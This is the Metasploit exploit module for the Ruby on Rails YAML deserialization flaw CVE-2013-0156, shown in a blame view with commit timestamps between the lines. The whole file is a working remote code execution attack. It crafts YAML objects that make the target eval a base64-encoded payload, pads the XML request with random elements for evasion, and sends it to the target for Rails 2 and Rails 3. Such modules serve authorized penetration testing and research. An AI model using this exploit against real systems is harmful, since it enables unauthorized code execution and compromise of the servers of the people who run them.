2013-01-09 23:10:13 -06:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-01-09 23:10:13 -06:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-01-09 23:10:13 -06:00
|
|
|
Rank = ExcellentRanking
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a remote code execution vulnerability in the XML request
|
|
|
|
|
processor of the Ruby on Rails application framework. This vulnerability allows
|
|
|
|
|
an attacker to instantiate a remote object, which in turn can be used to execute
|
|
|
|
|
any ruby code remotely in the context of the application.
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-10 02:14:08 -06:00
|
|
|
This module has been tested across multiple versions of RoR 3.x and RoR 2.x
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-11 19:02:06 -06:00
|
|
|
The technique used by this module requires the target to be running a fairly recent
|
|
|
|
|
version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be
|
2013-01-10 17:10:03 -06:00
|
|
|
exploitable using the init_with() method, but this has not been demonstrated.
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
},
|
|
|
|
|
'Author' =>
|
|
|
|
|
[
|
2013-01-10 16:12:07 +01:00
|
|
|
'charliesome', # PoC
|
2013-01-10 17:10:03 -06:00
|
|
|
'espes', # PoC and Metasploit module
|
|
|
|
|
'lian', # Identified the RouteSet::NamedRouteCollection vector
|
|
|
|
|
'hdm' # Module merge/conversion/payload work
|
2013-01-09 23:10:13 -06:00
|
|
|
],
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
2013-06-20 07:28:29 -05:00
|
|
|
[ 'CVE', '2013-0156' ],
|
2016-07-15 12:00:31 -05:00
|
|
|
[ 'OSVDB', '89026' ],
|
2022-01-23 15:28:32 -05:00
|
|
|
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156' ]
|
2013-01-09 23:10:13 -06:00
|
|
|
],
|
2013-01-09 23:24:37 -06:00
|
|
|
'Platform' => 'ruby',
|
|
|
|
|
'Arch' => ARCH_RUBY,
|
2013-01-09 23:10:13 -06:00
|
|
|
'Privileged' => false,
|
|
|
|
|
'Targets' => [ ['Automatic', {} ] ],
|
2020-10-02 17:38:06 +01:00
|
|
|
'DisclosureDate' => '2013-01-07',
|
2013-01-28 21:34:39 -06:00
|
|
|
'DefaultOptions' => { "PrependFork" => true },
|
2013-01-09 23:10:13 -06:00
|
|
|
'DefaultTarget' => 0))
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
Opt::RPORT(80),
|
|
|
|
|
OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
|
2013-02-04 15:32:36 -06:00
|
|
|
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
register_evasion_options(
|
|
|
|
|
[
|
|
|
|
|
OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2013-01-09 23:10:13 -06:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
#
|
|
|
|
|
# Create the YAML document that will be embedded into the XML
|
|
|
|
|
#
|
2013-01-10 02:14:08 -06:00
|
|
|
def build_yaml_rails2
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-28 21:34:39 -06:00
|
|
|
code = Rex::Text.encode_base64(payload.encoded)
|
2013-01-10 02:14:08 -06:00
|
|
|
yaml =
|
|
|
|
|
"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
|
|
|
|
|
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
|
|
|
|
|
"eval(%[#{code}].unpack(%[m0])[0]);' " +
|
|
|
|
|
": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
|
|
|
|
|
":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
|
|
|
|
|
":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
|
|
|
|
|
yaml
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
|
|
|
|
|
2013-01-10 02:14:08 -06:00
|
|
|
#
|
|
|
|
|
# Create the YAML document that will be embedded into the XML
|
|
|
|
|
#
|
|
|
|
|
def build_yaml_rails3
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-28 21:34:39 -06:00
|
|
|
code = Rex::Text.encode_base64(payload.encoded)
|
2013-01-10 00:10:26 -06:00
|
|
|
yaml =
|
|
|
|
|
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
|
2013-01-10 00:28:12 -06:00
|
|
|
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
|
|
|
|
|
"eval(%[#{code}].unpack(%[m0])[0]);' " +
|
|
|
|
|
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
|
|
|
|
|
yaml
|
2013-01-09 23:10:13 -06:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
|
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
#
|
|
|
|
|
# Create the XML wrapper with any desired evasion
|
|
|
|
|
#
|
2013-01-10 02:14:08 -06:00
|
|
|
def build_request(v)
|
2013-01-09 23:10:13 -06:00
|
|
|
xml = ''
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
elo = Rex::Text.rand_text_alpha(rand(12)+4)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
if datastore['XML::PadElement']
|
|
|
|
|
xml << "<#{elo}>"
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
1.upto(rand(1000)+50) do
|
|
|
|
|
el = Rex::Text.rand_text_alpha(rand(12)+4)
|
|
|
|
|
tp = ['string', 'integer'][ rand(2) ]
|
|
|
|
|
xml << "<#{el} type='#{tp}'>"
|
|
|
|
|
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
|
|
|
|
|
xml << "</#{el}>"
|
|
|
|
|
end
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
el = Rex::Text.rand_text_alpha(rand(12)+4)
|
|
|
|
|
xml << "<#{el} type='yaml'>"
|
2013-01-10 02:14:08 -06:00
|
|
|
xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3)
|
2013-01-09 23:10:13 -06:00
|
|
|
xml << "</#{el}>"
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
if datastore['XML::PadElement']
|
|
|
|
|
1.upto(rand(1000)+50) do
|
|
|
|
|
el = Rex::Text.rand_text_alpha(rand(12)+4)
|
|
|
|
|
tp = ['string', 'integer'][ rand(2) ]
|
|
|
|
|
xml << "<#{el} type='#{tp}'>"
|
|
|
|
|
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
|
|
|
|
|
xml << "</#{el}>"
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
xml << "</#{elo}>"
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
xml
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
#
|
|
|
|
|
# Send the actual request
|
|
|
|
|
#
|
|
|
|
|
def exploit
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-28 21:34:39 -06:00
|
|
|
[2, 3].each do |ver|
|
|
|
|
|
print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
|
|
|
|
|
send_request_cgi({
|
|
|
|
|
'uri' => datastore['URIPATH'] || "/",
|
|
|
|
|
'method' => datastore['HTTP_METHOD'],
|
|
|
|
|
'ctype' => 'application/xml',
|
|
|
|
|
'headers' => { 'X-HTTP-Method-Override' => 'get' },
|
|
|
|
|
'data' => build_request(ver)
|
|
|
|
|
}, 25)
|
|
|
|
|
handler
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-09 23:10:13 -06:00
|
|
|
end
|
|
|
|
|
end
|